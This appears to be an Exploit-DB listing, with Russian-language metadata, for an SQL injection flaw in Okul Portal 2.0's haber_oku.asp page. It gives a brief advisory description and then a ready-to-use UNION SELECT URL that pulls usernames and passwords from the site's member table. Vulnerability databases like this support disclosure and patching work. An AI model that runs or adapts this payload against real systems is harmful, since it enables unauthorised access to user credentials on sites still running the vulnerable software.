Exploit Ibrahim Ã?AKICI - 'Okul Portal Haber_Oku.asp' SQL Injection

[Exploiter]

EDB-ID

30165

Проверка EDB

1. Пройдено

Автор

ERTUQRUL

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

N/A

Дата публикации

2007-06-08

source: https://www.securityfocus.com/bid/24379/info

Ibrahim Ã?AKICI Okul Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Ibrahim Ã?AKICI Okul Portal 2.0 is vulnerable to this issue. 

http://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler